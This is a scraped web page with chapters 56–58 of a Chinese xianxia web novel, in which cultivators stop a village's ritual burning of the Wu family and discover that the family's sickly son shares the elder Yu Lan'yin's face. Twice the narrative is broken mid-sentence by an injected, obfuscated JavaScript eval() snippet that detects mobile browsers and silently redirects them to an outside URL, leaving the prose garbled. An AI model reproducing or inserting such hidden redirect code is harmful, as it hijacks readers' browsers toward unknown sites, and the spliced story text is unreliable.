加之这几日在海岛腥潮气重,他身上的药本之气更是寡淡,不特意凑近已经是闻不到了。 那不足手掌长的小药草烧着的一瞬间,一股极为熟悉的药草气味便犹如一缕悠扬的清风,丝丝柔柔地升起。 这药香同药居常年用的熏香相差无几。 它暧昧地缠绕住了温卓的手指、肩膀、口鼻,叫温卓在如此急迫的情况下依旧微微走了神。 那些埋藏在温卓心中多年的故人旧事,随着这香气山呼海啸地涌来,再走马灯似的一一闪过。 来自童年的熟悉感回溯,随之而来的是一丝不知名的焦躁。 这种无望的空虚并不好受。 为了抵抗这莫名的情绪,温卓几乎是下意识地转过头去看身侧的玉阑音。 那株不知名草药正在燃烧。也不知这草药究竟是有何异处,燃烧得极慢,也不亮明火。 玉阑音的手指纤细苍白,两只手指捏着这草茎末端,在袍袖之后半遮半掩地递到温卓手边。 见温卓许久未伸手接过,于是玉阑音又是把小药草往更近处一送,已经几乎要塞到了温卓的手里,“怎么不拿着?” 温卓似乎是有些愣神,依旧没回话。 玉阑音浅笑着压低了声音道:“是不是嫌呛了?怀馨草。我随身带的不多,就这一枝。你偷偷拿着,不和他们两人讲。” 此言既出,似乎是有什么珍贵之物在耳畔静谧地绽放。 温卓的呼吸顷刻随之停滞了一瞬。 方才那漂泊无依,焦躁又患得患失的心,随这一语似乎是寻到了浮萍。它攀附而上,骤然安定。 略苦涩的草药香里。 有什么东西随烟悄然散去,再无处寻。 也有什么东西随烟悄然而来,一往而深。 56.火刑 “快拿着呀。”玉阑音又笑着催促道。 温卓终于回了神,把怀馨草接过来,轻轻拢到了袖子里。 就在这时君少暄忽然回过了头,压着声音同他二人提醒道:“长老,师叔,到了。” 前方终于是能见到了人头攒动,放眼望去乌压压的一片,万人空巷不外如是。 人群正中间围绕着一个低台,低台之上有约莫两丈高的架子,靠麻绳牵捆成“木”字形,四个木架摆得很紧凑。 方才引得四人前来的那火已经熄了,此时木架之下堆着的是一人高的新柴火草垛. 玉阑音在黑纱的掩盖之下皱了皱眉,正当他想要偏过头去同温卓说些什么的时候,人群中忽然暴起一阵极为嘈杂的喧闹。 顿时就将玉阑音的话声淹没了个干干净净。 温卓没听清,个头又比玉阑音高一些,便俯下身将耳朵凑近玉阑音的唇边,示意他再说一遍。 玉阑音向来喜静不喜闹,被这喧哗冲撞地一时也没了说话的兴致。 他伸出两根手指轻轻捏住温卓的下巴,往一侧掰了掰。 这动作如此自然而然甚至是稍显亲昵,温卓猝不及防被掰得侧过脸去。 “快看!村长儿子把乌家那扫把星一家绑来了!” “在哪在哪?” “呸!一家扫把星!看一眼我都嫌沾了晦气!” “哎哟你看看这乌家夫人穿得哟……啧啧啧……” …… 明明玉阑音的斗笠已经是将他遮了个密不透风,但温卓眸色沉沉,目光近乎缠绵又富侵略性地在那斗笠上停留了很久。 久到玉阑音终于忍不住转向他,稍微提高了声音问道:“怎么了吗?” 温卓深深地看他一眼,这才别开了头,没说话。 前方人群中散开了一条窄窄的路,仅容一人可过。 一队五大三粗彪悍的男壮丁,一人扛着一个人穿过人群,往那火刑台上走来。 最前方打头的大汉扛着的是个女子,大概就是方才人们提到的乌家夫人。 乌家夫人面容姣好,但是沾了许多泥灰,看起来有些狼狈。 她一袭单层纱织罗裙,但是因为双手被捆住被扛在肩上,罗裙绸带松散,裙摆四散,肩膀漏了大半,某些角度下甚至能见到纱衣下浅粉色的里衣。 扛着夫人的那大汉见状,嘿嘿一笑,伸手顺着夫人的腿和臀部,不怀好意地摸了两把。他的手大概是太过粗粝,划过罗裙时勾了丝,扯出好长一条粉色纱线。 夫人挣扎着呜咽两声,但是不像是在哭泣。 她一双漂亮的杏眸有着不似普通人的、极为坚定的亮光,又或者可以将其称之为愤怒。 远远站在人群之外的玉阑音四人脸色都是一变。 君少暄最是气不过,低声轻吼:“这人怎么能对女子无礼?” 镜遥的脸如今还是靳修之的书生模样,但是他一蹙眉,眉眼之处忽然透出的是一股独属于修士的凛然。 他咬咬牙,但是没说话。 乌家总共四口人,一个接一个地被扛到了高台上,随后被捆着手脚绑到了那锥形木字架上。 他们被架得极高,围观的人终于得以看全他们的相貌,于是人群之中又是一阵动静不小的沸腾。 乌家家主和他们的女儿紧挨着。 家主是一个皮肤黝黑,精瘦的中年男人,他其貌不扬,脸上有道道经久风吹日晒的深刻的皱纹。是琼州随处可见的,辛勤又淳朴的渔民模样。 女儿穿得很素净,此时正不住地挣扎着,哭得花了脸,看不清面容。 乌家小儿子则是四个人中最后一个被绑到木字架上的。 小儿子似乎是极为消瘦,又身着一袭宽松玉色白衣,看上去空荡又狼狈。被捆绑的途中他几乎没有反抗,手脚软绵绵的,活像成了精的面条菜。 而最令人奇异的是,直到现在,他的头上依旧罩着那道白纱。 白纱下,他大散着发,白纱靠额间一金银样式的软玉头环固定着,此时正随风微微飘荡。 台下乌压压一众人中,不知是谁忽然嗓音嘹亮地喊了一声:“乌家不得好死!” 这声音一出,喧闹的人群忽然静谧了一瞬。 随后不知具体哪处又响起了第二声:“乌家不得好死!” “乌家不得好死!” “乌家不得好死!” …… 第三声。 第四声。 直到此起彼伏,数不胜数。 显然,围观的这人群已经是满面通红地亢奋了起来。 君少暄面色极为难看。 平日在山上待得太久了,以至于他未曾知晓过,这世间的真实相貌居然是如此得丑陋不堪。 他好像并不失望,也不愤怒。 他只是有点想哭。 君少暄抿了抿唇,在原地站了很久。 终于,他似乎是下定了什么决心,虎拳一攥,当即就要提起灵力往台上去救人。 镜遥反应得极快,立马伸出了手,想要把冲动上了头的君少暄拦下,“君兄!” 可是他的手甚至还没有碰到君少暄的衣角,就已经被另一只手抢了先,那只手十分迅速地抓住了君少暄的臂膀。 君少暄被拉得一个踉跄,当即就想要甩开,“别拦我!” 可是那手用力极大,君少暄甩不开,只得气呼呼地一扭头。 回过头,一看到那手的主人,他几乎是瞬间就闭了嘴。 那正是方才一直抱臂远远站着,宛如置身事外高人似的玉阑音。 “少暄。” 玉阑音的声音很清,像是高山流殇之时叮咚作响的泉,清凉又平和。 这道声音大概是用了一些灵力,在周围一片嘈杂的人声中,这声音依旧十分清晰地传到了他的耳中。 “稍安勿躁。” 玉阑音头上戴着黑色的斗笠,看不清脸上的神情。可是君少暄知道,他们的长老此时一定又露出了那副冷漠又慈悲,无悲无喜地神情。 他就仿佛是一眼万丈深的井,似乎永远不会被激怒,似乎永远是那个在身后拉你一把的,平静宽厚的港湾。 君少暄不知道为何,忽然感到有些悲哀。 年少成名,本应彪炳千秋之人,生平简介却像小注一般,挤在那落了灰的史书一角。 可谁又是那漫长岁月里,能拉他一把的人呢? 君少暄卸了力,无力地垂下了手。 镜遥动容,无言地伸出手,搂了搂他打了弯的肩膀。 台上被吊挂在木字架上的家主嘴里堵着白布,台下起哄的咒骂声震耳欲聋,叫他眼前止不住地一阵阵发晕。女儿带着哭声的喊叫,同样让他急迫到手脚发麻。 他急躁又担心地往左侧扭头,去看他的夫人,口中呜呜咽咽似乎在说着什么。 夫人毕竟是女子,手腕脚腕皮肉都更细嫩些,已经被那麻绳捆得出了血。 可是她依旧一滴眼泪没流。 她一双杏眸瞪得极大,盯着台下的某处,又或是盯着台下的任何一处。 她的眼神一如方才,甚至其中火光更甚。 “火刑!” “火刑!” “火刑!” …… 人群喊“不得好死”喊得没了趣味,又开始面红耳赤地催促起了行刑。 他们的叫喊声十分齐整,简直像是经过了提前练习一般训练有素。 不寒而栗。 镜遥其实已经下山历练了许多年,花花绿绿的善恶是非见得不少,但此时,即便是他,也选择垂下了眼睛,再不忍去看。 他开口,声音是止不住地颤抖:“这可是……人命啊……” 君少暄终于是再忍不下去。 他飞速垂下眼睛,颤抖着深呼吸了几个回合,随后转头,“长老,我……” 他们口中的长老此刻却仍旧是一言不发。 仍旧如同一座黑色的石碑,沉默着站在他们的身后。 温卓似乎对台上和周围的一切都算不上感兴趣。 他和玉阑音是如出一辙的沉默,似乎同这周遭格格不入。他只稍稍侧着头,一瞬不瞬地看着玉阑音乌黑的斗笠顶。 温卓从小就是个心很沉,并且罕见善良忠义的孩子。 可是他如今几乎是主观地,再不愿意分神去顾及那些旁人。 无论是这些年一刻不歇地同那厌族神识斗智斗勇,还是那百年的逃离和修行,亦或是这些日的所看所听。 ——他好像……终于有些累了。 这尘世间似乎是一岸无形的浪潮,拍得无数人颠沛流离,拍得所有尖锐和棱角消失殆尽。 温卓清楚地感觉到,那无形之物已经淹没过了自己的胸膛。 他只有一颗心。 而如今这人世间,最值得他倾心相待的人,此刻就站在他的身侧。 正站在潮水中。 玉阑音很久很久没有说话。 没有人知道这段长久的缄言中,斗笠下,他是何表情,又或是在想些什么。 这沉默度秒如年,直到那村长的儿子已经举起了那胳膊一般粗的火炬。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14345671|146057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他兴奋地涨红了脸,眼中迸发出一种奇诡的光芒,他随着人群规律的呼喊,一次次振臂,一次次高呼。 在台下众人的簇拥下,他近乎癫狂又沉醉地将他手中的火炬扔向了那柴堆。 “海神万岁!” 一时间,熊熊烈火。 火光和烟伴着水汽腾空升起。 那灰黑的烟雾挡住了在台上受火刑的乌家四人的脸。 但是环绕着的人群并不在意这些。 他们狂喊,他们欢呼。 “海神万岁!” “乌家这一家祸害终于要死了!我们终于得救了!” “愿海神眷顾!” “愿海神眷顾!” “天道昭昭,天道昭昭。波塞冬至,四海听潮。” …… 不知是谁忽然在那炎炎火光中唱起歌来。 这些愚昧未开化之人牵着手,拥抱着,唱着乌鸦歌唱死亡的歌曲。 如此纯净,如此残忍。 君少暄不愿出声去逼迫玉阑音,他咬着唇,眼睛急得红了一圈。 忽然,即便周边是如此嘈杂,但君少暄还是清晰地听到了,身后玉阑音沉静如水的声音。 他说:“去吧。” 君少暄得令,几乎是有些肃穆地挺直了身子,“是!” 镜遥这时也顾不上自己胡诌的“书生靳修之”身份了,当即眉目一凝,极为正色道:“是!” 两人猛地暴起了灵气,如一道白金色剑影,脚不沾地流矢一般冲至台前。 君少暄毕竟是药术师出身,修为极为了得。半空中,他两手简单一翻,当即往那熊熊烈火上空凝了个大小极为可观的水球。 他神色凛然,手一合。 “哗啦——” 水球只在半空存在了一个瞬息,下一刻便如同天女散花一般爆裂四散开来,震耳欲聋的声响震得在场人耳朵一阵嗡鸣。 那声势浩大,本应烧得燎原的火焰,在宛如暴雨倾覆的水帘中,被扑得灭了个干干净净。 “怎么回事?是下暴雨了?” “不是!是村外人!那是两个村外人!把火灭了!他们把火灭了!” “这可是火刑日!火刑日被毁了!火刑日被毁了!” “海神,海神息怒,海神息怒,海神息怒……” …… 站在台上的,方才点燃了柴火的村长儿子被这变故惊得一愣。 但是他很快就回过了神,怒发冲冠,“你们是什么人!” 随后他也不知是哪里来的胆子,拖着他膘肥体壮的庞大身躯,手里拿着那还未熄灭的火把,不知死活地朝君少暄冲来。 这猪五花自以为甚妙的攻击,君少暄自然是一点也没放到眼里,他冷笑一声:“我是你姑爷爷!” 就在这时。 “当啷——” 君少暄的身后,忽然传来一阵叫人耳根发麻的金戈相碰之声。 他神色一凛,当即便要回头去看。 可他脚步一退,猛地觉得自己的后背挨上了一个带着体温的,宽厚而坚硬的后背。 “别回头。” 身后,是靳修之的声音响起。 他的声音忽然一改先前气血不足的文弱,此时居然是如此的沉稳而坚定。 陌生又熟悉。 闻声,君少暄瞳孔一缩,“你——” 周围的村民呼喊声逐渐变大。 他们一个两个的,也不知是因为惧怕毁坏了火刑被海神降下责罚,还是被激得上了头,忽然如蚂蚁一般一窝蜂地往台上涌来。 “把他们赶走!” “赶走他们!” “他们坏了火刑!若是不想受责罚就杀了他们!” “杀了他们!” “杀了他们!” …… 不少村民嘟囔着一些听不懂的乡音,各个怒目圆睁,仿佛是要撕碎了君少暄和镜遥才作罢。 “方才那是下面有人朝你扔了一把小铁刃,”人群之中,镜遥道,“不过现在你只管去看前方吧。身后有我。” 镜遥已经换成了原本的嗓音。 他声音温温和和,所说之言也没有任何过激之语。 可是君少暄却因为他的这句话一个震颤。 他忽然久违地感受到了临战之前特有的,兴奋的热血沸腾。 君少暄笑出了声,似乎又是轻轻叹了一口气,随即转回了前方。 “那就……” 他如同离弦的箭一跃而出。 “……大闹一场吧。” 57.切诊 不过,虽然心里是恨不得屠之痛快,但是真的动起手来,是万万不可这么做的。 君少暄暴起,空中一个利落的翻身,躲过了身侧试图拽他衣摆的村民。 随后再是一个突进,随后迅速一个俯身,村长儿子手中未熄灭的火炬也挥了个空。 背后,镜遥十分温和地不知同谁道了一句:“失礼了。” 此言一出,霎时间,他眼中寒光一现,如灵动脱兔般一跃而出,只身淹没入了那暴乱的人群中。 他未动用丝毫法术,迅速地恰到好处地卸了为首几个过于张狂之人的胳膊。 “啊!” 虽然仅仅是些极易医治的皮肉伤,可这些普通的村民似乎依旧是无福消受。 他们脸色涨得宛如猪肝色,额间豆大的汗珠直往脖子里流。 镜遥原本以为自己下手并不重,显然是也没有料到此刻会有如此场景,有些慌乱地停了手。 他十分慌乱地苦思冥想片刻,抱歉地又是一个拱手,“多有得罪。” 话音将落,他神色一凛,以手为刀,找准时机和角度,直直朝这些人的脖颈后劈去。 顿时,方才还叫嚣得极欢的几个壮汉,此刻就像是霜打的茄子似的,软成了一团烂泥瘫倒下了。 那蜂拥而上的村民见状,齐齐停了手。 再忽然,乌泱泱的人群之中,猛地爆发起了一阵惊恐的尖叫和高呼。 “杀人了!” “这里有修士!修士来杀人了!修士来杀我们普通人了!” “死人啦!死人啦!” …… 一时之间,方才紧凑着的阵仗作鸟兽散,并且他们各个人喊着一些不知为何的字句,逃命似的往外处跑去。 三步一踉跄,五步一跟头,跑得极为不雅但是极快。 镜遥又是有些无辜地呆愣在了当场。 他甚至想要伸手阻拦,“不是……我没有……” 玉阑音和温卓并未随之上前相斗。 毕竟只是些没有修为的普通人,君镜二人大可应付得了。若是人去的再多,那可真就显得以大欺小,白白落了话柄。 趁着这阵嘈乱,他们二人十分敏捷地穿过人群,去到了行刑的木字架后。 玉阑音手指一拈,就近一个小光刀术,松开了乌家长女和家主手脚上的麻绳。 他扶两人落了地,父女二人拥抱作一团,泣不成声。 乌家家主眼含热泪,当即就要朝玉阑音跪拜行大礼,“谢谢仙尊,谢谢仙尊……” 玉阑音手疾眼快地拦住了他,“举手之劳。” 男儿有泪不轻弹。可是乌家家主此时却泪流满面。 他无知无觉了一般,只机械地重复个不停:“谢谢仙尊,谢谢仙尊……” 玉阑音没有任何地不耐烦地听着。 他只一遍一遍,温和地拍着乌家家主瘦弱的背,一遍一遍同他说着:“没事了,都过去了。” 另一侧,温卓将夫人扶了下来后,道一句:“失礼。” 随后他别开眼睛,手脚十分小心地轻轻替夫人拢了拢四散了的衣衫。 乌家夫人看了一眼她已经获救的丈夫和儿女,眼眶一红,终于落下了今天的第一滴眼泪。 未等那眼泪流至脸颊,她已经抬手,将那喜极而泣的水珠拭去了。 她倔强又美丽,极为克制地同温卓行了一礼,“谢仙君救命之恩……” 只可惜温卓这人极为煞风景,也不太擅长安慰人。 他不搭话,只公事公办问道:“夫人手脚伤到了?” 这话一出,夫人本人似乎也愣了一下。 “哦,好像是,”她看看自己的手腕,噗呲一笑,这一笑中含着太多劫后余生的喜悦,“仙君不提我都要忘记了。我太高兴了。” 乌家四人中,只有乌家小儿子的状态有些奇怪。 他不说话,不哭不闹,从木字架上下来后便一直坐在原地,再没有别的动作。 温卓同乌家夫人点头致意后,转身上前,欲将这个跌坐在地的年轻孩子搀扶起来。 可就在俯身靠近之时,忽然,一阵熟悉的药草香蛮横又清幽地腾空而起,紧接着扑面而来。 嗅到这气味的瞬间,温卓手上的动作几乎是迅速地顿住了。 他第一时间以为是自己袖摆里的那支怀馨草的香气。 可是在方才动乱中他已经将那株怀馨草熄灭了,更是好生收到了识海中,此时怎会无缘无故发出异香? 温卓稍稍蹙眉,低头。蓦地,他神色一滞。 因为这香气的源头似乎并不是他的袖摆,而是…… 他的目光瞬间如锋利的匕刃,直直地定在了面前这孱弱的白衣男子身上。 或许是因为温卓的接近,呆滞着乌家小儿子终于回了神。 他忽然呜咽了几声,扑棱着挣扎着就要起身。 “阿朔!” 一旁的乌家夫人忽然有些焦急地喊了一声,随后踉跄地扑到他的面前。 她惊慌地检查着小儿头上的面纱,再是手忙脚乱地检查着他身上。 “没事了,没事了,阿朔……” “实在对不住仙君,这是我家小儿,乌朔,阿朔。他从娘胎里带了些病,不太会说话,又畏光,仙君见谅。” 夫人似乎是意识到了自己的失态,连忙转身同温卓解释道。 “无妨。”温卓这时才终于将目光从乌朔的身上移开,“夫人多虑了。” 夫人将乌朔扶起来,大咧咧笑起来:“我闺名俞霜,你若是不介意和别人一样唤我霜娘吧。‘夫人夫人’地叫,我还真听不习惯。” 温卓颔首,“温卓。” “温卓?”霜娘一边替乌朔整理着衣服和面纱,一边语调慢慢地念了一遍,“好漂亮的两个字。是家里人取的?” 先前一直冷着脸,面容近乎肃然凶戾的温卓忽然笑了。 “嗯,”他朝玉阑音的方向看一眼,“家里人取的。” 此时台前那看热闹的人群已经散了个七七八八。 君少暄心里不痛快,虽然出手招招不是杀招,也没动用灵力,但他还是一拳一拳把捆人的四个大汉揍了个鼻青脸肿。 “大侠!大侠绕……哎哟!” “饶命啊!我们再也不敢了!大侠!” …… 四人齐刷刷跪在地上求饶不止,叫苦连天,四人直接嚎出了四百人的气势。 镜遥在一旁看得肉疼,忍不住出口提醒道:“君兄啊,你这么动手,怕是回去要挨与徵长老的责罚了。” 君少暄“咔嚓”把那点火的火炬折了个两段,倨傲地睨了镜遥一眼,“你瞧你这话说的。怎么?青木长老就不罚你了?” 这话一出,镜遥立刻噤了声。 可算是出了气的君少暄冷哼一声,对那欺软怕硬的几人一昂头,“姑爷爷今天高兴,饶你们不死,还不快滚!” 终于得了赦免,那四个大汉连忙连喊多声“多谢大侠”,屁滚尿流爬起身,逃也似的跑得影儿都不见了。 而就在此时,一旁的镜遥却早已魂离许久。 一想到回去之后,要去他那尖酸刻薄、鸟似的爱啄人的青木长老那儿领罚,镜遥已经是魂归天外,只巴不得死而快哉。 镜遥讷讷道:“那,我去无上长老让他替我说说情,能有用么……” “我劝你还是先想想,怎么同长老解释你这张‘靳修之’的脸吧。”君少暄冷笑连连。 镜遥顿时又是一阵天打雷劈。 他被劈得颇有魂归故里的架势,忽然平静地仰起了头,“怎么回事,居然有点安详。我是死了吗?” “少暄,镜遥,过来了。” 不远处,玉阑音那温柔随和的声音蓦地响了起来。 镜遥:“嗯?” 他眨巴眨巴眼,神魂归位,和君少暄王八看绿豆似的你看我我看你,呆愣了好半晌。 半晌,镜遥终于反应了过来,“啊……原来是早就露馅儿了。” 他笑得和花儿似的,灿烂得要命,高兴地呱唧呱唧拍起了手,“哈哈,原来是早就露馅儿了。太好了,太好了。” 和镜遥愚蠢的愉悦完全相反,君少暄的面色则是越来越凝重。 他猛地转头,当即就朝镜遥一阵勃然小怒,“闹了半天,原来就我不知道?” 镜遥懒得理他。 手一摸,把脸上那易容术消了,随后顶着原本本“镜遥”的脸屁颠屁颠跑了。 “长老,我来啦……” 君少暄:“……” 玉阑音不知为何仍未摘下斗笠,他一身玄袍,站在烧得黑黑黄黄的草垛旁,莫名显得萧肃。 他朝着镜遥和姗姗来迟的君少暄招了招手,笑道:“方才乌栎家主邀请我们一行去家中小坐用膳,却之不恭,我便私自应下了。你们二人可有空?” 什么却之不恭,这明明就是正合人意! 君少暄和镜遥来不及纳罕,看看四平八稳演着戏地玉阑音,只在心中默默感叹:长老,真是好演技! 简单同乌家几人寒暄圆承后,一行人便随着乌栎到了乌家的住处。 乌家背靠着海。 一片金色无垠的海滩,四五棵椰树,一湾港口,几根木桩牵引着七八搜简易木船,另一边还有两三轮巨大的铜皮海船。 屋舍的建造也是渔民的传统农家样式。不像中原权贵人家似的青瓦红墙地围院落,也没有红木雕花的木门和金玉铺首衔环。 前后总共起了五间斜顶屋,红斜顶白墙,但是要比沿途所有的屋舍都要阔绰宽敞些。 进了屋,小儿子乌朔似乎是因为受了惊吓有点打蔫儿,霜娘便同四人打了招呼道了歉,自己领着乌朔先回房间去了。 “不好意思啊仙君,我们汀芷村的房屋都简陋,各位仙君别嫌弃。”乌栎在客桌前添了四张凳子,一边语气十分歉疚地道。 君少暄连忙大马金刀坐下,摆手道:“哪里的话,这里很好,比我们昨晚那客栈都干净宽快,哪会嫌弃。” “那就好,那就好。”乌栎憨厚地一笑,随后转头轻声嘱咐身后的女儿乌鸢,“阿鸢,去给你仙君哥哥们煎壶鹧鸪茶来喝。” 乌鸢点头乐呵呵道:“得嘞。” 然后蹦蹦跳跳跑下去煎茶了。 乌栎看得直摇头,“哎呀我家这小女儿,性子像她妈妈,不稳重,各位见谅,见谅。” 大概是因为提起了霜娘,乌栎虽然说着“见谅” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“玉郎真是谦虚。”霜娘高高兴兴一笑,“择日不如撞日,阿朔如今正好也没入睡,玉郎若是不嫌,可否趁现在随我去给阿朔诊视诊视?” 玉阑音稍一欠身,“自然。不过若是我这胞弟随我一同前去,霜娘可会介意?” 胞弟胞弟。 怎么念叨地没完了。 温卓瞥了玉阑音一眼。 “玉郎说的哪里话,哪会介意。”霜娘失笑,“二位仙君一同随我来便是了。” 临走,霜娘似是想到了什么,佯装恼怒地同乌栎嗔道:“你看看你,就知道坐这里扯。怎么还不去备菜?难不成过会儿是要吃那西北风?” 乌栎劈头盖脸被骂一通,也不恼,依旧乐乐呵呵,“这不是太高兴,忘了吗。我这就去,这就去,夫人别生气。” 君少暄和镜遥知道玉阑音和温卓二人这大概是有事要查,干坐着又无聊,于是二人卷了袖子,自告奋勇随着乌栎和乌鸢下厨房去了。 乌朔的屋子就在客堂旁边,玉阑音和温卓随着霜娘出了屋,转过了弯稍走几步路就是。 此时乌朔正盖着厚厚的绒面被子,安安静静侧卧在榻上。 他依旧蒙着他的白纱,白纱随着他的呼吸略微起伏。 “阿朔,阿朔。”进屋后,霜娘怕乌朔睡着了,便先温声唤了两声。 床上的乌朔轻轻踢了踢被子。 “没睡着就好,”霜娘笑道,“这是方才救你的那位仙君,是个郎中,你乖乖伸手,叫他看看好不好?” 霜娘好生哄了会儿,乌朔居然真就乖乖伸出了手,搭到了床边。 玉阑音同霜娘点头示意,随后施施然从软榻旁落座,拿出一张白色的帕子搭在了乌朔的手腕。 其实玉阑音身为修仙之人,断病早就不需要像人间郎中这般“望闻问切”,寻常疾病打眼一瞧便能看个明白,切脉不过是走走过场。 只是不知道为什么,今日的玉阑音探脉的时间格外得长。 他又带着黑色斗笠,神情难辨。 “怎么样,玉郎?”霜娘轻声问道。 玉阑音没有立刻回复霜娘的话。 他收回切脉的手和那白色的帕子,“不知令郎这白纱可否摘取下来,容我一看?” “哦,白纱,当然是可以了。”霜娘连忙道,“阿朔有些畏光,见了光会一直叫着喊着说疼。不过如今在屋内,时间短一些是没关系的。” 玉阑音略一颔首,“那便有劳霜娘了。” 霜娘低声哄着乌朔,慢慢解开了他头上的软玉头环,随后动作极轻地揭开了他面上的白纱。 白纱落下,露出一张少年的脸。 少年的鼻梁高挺却不凌厉,弧度极为柔和,弯眉黛目,卷翘的羽睫之下一汪碧波。 他的脸苍白又脆弱,唇色极为寡淡,弱柳扶风,面若好女,俊美异常。 温卓在看到那张脸的瞬间便愣住了。 他几乎是屏了息,转身去看身侧的玉阑音。 因为这个少年,居然长着一张,和玉阑音一模一样的脸。 58.心墙 乌朔的瞳孔因为骤然见光,猛地一缩。 随后他呜咽一声,整个人都有些不适地蜷了起来。 霜娘伸手替乌朔挡着窗棂透过来的光,安抚着他。 她回头问道:“玉郎,如何?” 玉阑音一时没有回话,他沉默了许久才找回自己的声音,“令郎……” 他略一停顿,似乎是在寻找更好的措辞,“大概是可以正常开口,如今少言寡语或许只是个人习惯导致,后续多加引导便会有改善。” “真的吗?我一直以为阿朔是有什么隐疾!”霜娘激动地捂住了自己的嘴,任由情绪从眼睛中流出,“真是……太好了,太好了……” 玉阑音只看看她,没说话。 “那这体弱,畏光之症……”霜娘又问道。 闻言,玉阑音又是一顿,许久才开口,“我过去药经中读过一种病症,患病者皆白发白眼,极度畏光,所以大多时候只能在夜间行动。” 霜娘听得极为认真,“可是阿朔并没有白发白眼,这是为何?” “如今只是怀疑令郎之疾同此症有关,玉某学疏才浅,不敢妄下定论。”玉阑音道,“霜娘若是放心,玉某可留两幅药方,服用后或许会有所缓解。” 霜娘听后喜出望外,连连道谢。 玉阑音起身到书桌前拟好了药房,交与霜娘时道:“一日服用三次便可。” 语罢,他便以身体不适为由,带着温卓先行离开了。 出门后,温卓几乎是瞬间就抓住了玉阑音的手腕。 他眉头蹙得很紧,“阑音……” 玉阑音作了个止声的动作,随后手一挥,落了个结界,隔绝了两人的身形与声响。 “乌家有古怪,谨慎为上。” 说着,玉阑音轻轻撩起自己的黑纱,露出了那张同乌朔别无二致的脸。 同样的五官,同样的苍白。 只是乌朔大概年纪不大,相貌也停留在玉阑音的少年时期,稚嫩许多。 玉阑音没绕弯子,开门见山道:“乌朔是厌族。” 温卓似乎是完全没想到,听了这话当即一愣,“厌族?” “嗯,从霜娘说他畏光时我就有所怀疑。”玉阑音面色有些严肃,“厌族被驱逐至云州外须弥之地,千年不见天日,久而久之导致不少新诞生的厌族有了畏光的习性。一切脉,果然如此。只怕,他的痴傻之症也是假扮的。” 温卓一皱眉,“可是乌朔身上没有一丝厌族的气味和厌族的灵力波动。” “嗯,他身上的厌族气息极淡,”玉阑音说着几乎是一笑,“而且最奇怪的,他居然能同我长得一模一样。” 温卓也有同样的疑问,他眉头紧锁着点点头。 玉阑音略一思索,“对此唯一的解释大概只有——乌朔,并不是自然诞生的厌族。” 温卓闻言,有些惊诧地抬起了头。 不是自然诞生的厌族? 乌朔的相貌同玉阑音已经不单是相像,完全是一个模子刻出来,分毫不差。 若他真是人为造出的容器……那这人对玉阑音究竟是有多了解? 温卓似乎是想到了什么,手指一动,从识海中取出了那块玉盘碎片。 他看向玉阑音,语气不知为何有些不爽,“达奚恩山?” “我也是如此想的。”玉阑音看一眼他手中的碎片,“只是……这依旧解释不了这玉盘是作何用处。” 占风玉盘的碎片在温卓手中转了两圈,他没再说话,点了点头。 思索未果,于是玉阑音只得暂时将此问题搁置下,话锋一转,“你今日借口诊病叫我来,便是因为发现了乌朔有古怪?” “嗯,”温卓将玉盘碎片一收,“早上我闻到他身上有怀馨草的气味。” “怀馨草?”玉阑音一愣。 温卓略一回忆,随后肯定地一点头,“嗯。” 玉阑音一双秀眉又是一蹙,“怀馨草是先前我还在药谷之时,闲来无事自己培育的小草,除了香别无他处。怎么居然有人偷这东西?” 温卓一顿,“……” ……这是重点么? 看到温卓的一脸无言,玉阑音严肃的脸蓦地一松懈,十分满意似的笑了,“这还不是看这气氛太沉重了吗,怎么这个表情。” 随后他收了收笑意,话锋一转,“不过如今这怀馨草的种子,除了我身上还有一些,便只有药谷有了,按理说旁人是拿不到的。” “乌朔身上怀馨草的味道极淡,方才进屋时已经闻不到了。”温卓道,“这更像是……” 玉阑音已然意会,接过话口:“像是不知从何处沾染了这香气?” 温卓一笑,“对。” 玉阑音应和地点点头,他手摸了摸下巴,不知在思索着什么。 温卓静静地等待着玉阑音重新抬起头,才问道:“那你方才诊病时同霜娘所说的那些又是如何?” 听了这话,玉阑音十分纳罕地一看他:“那当然都是假的了。乌栎和霜娘只是寻常人,总不能真的实话相告。” 温卓一顿。 他回想方才这人蒙着面纱,切着脉,说得言之凿凿、有胳膊有腿的大师模样,又是一阵无言。 该说的已经说得差不多,于是玉阑音很快就撤了结界,同温卓往客堂方向走去。 路上,温卓忽然问:“阑音,早上在火刑场时你是想同我讲什么?” “嗯?”玉阑音一愣,“有么?” 他略一回忆,这才想起的确是有此事,笑道:“哦,只是当时想起我那串佛珠了。佛教里火葬可以除人业障,我觉得有意思,就想说给你听。不是什么要紧事儿,怕你嫌烦,后续便没再提。” 直到两人要走进进客堂时,温卓才开口道:“那以后一定要讲给我听。你说什么我都喜欢,我不嫌烦。” 玉阑音脚步一顿。 他抬头看向温卓,可温卓却没有看他,已经伸出了手,推门而入。 或许是察觉到玉阑音没有跟上,温卓稍一侧身替他挡住门,问道:“怎么了?” 玉阑音看他一眼,抬手把撩起的黑纱重新放下,“没怎么。进去吧。” 屋内,乌家三口和君少暄镜遥已经在餐桌前落了座。 见到来人,霜娘喜气洋洋笑着招呼:“二位仙君来啦。” 温卓一颔首,同玉阑音前后脚落了座。 餐桌之上一桌饭菜,虽然称不上满汉全席,但是也能看出乌家人加心用意。 全桌,唯一看起来不太开心的人只有那个乌嗖嗖的君少暄。 君少暄此时看着那一桌煎金鲳,蒸螃蟹,炖鲈鱼,醋带鱼,炸多春,油焖虾,脸是一绿紧接着又是一绿。 霜娘见君少暄面色不好,出声问道:“是不合君郎口味?” 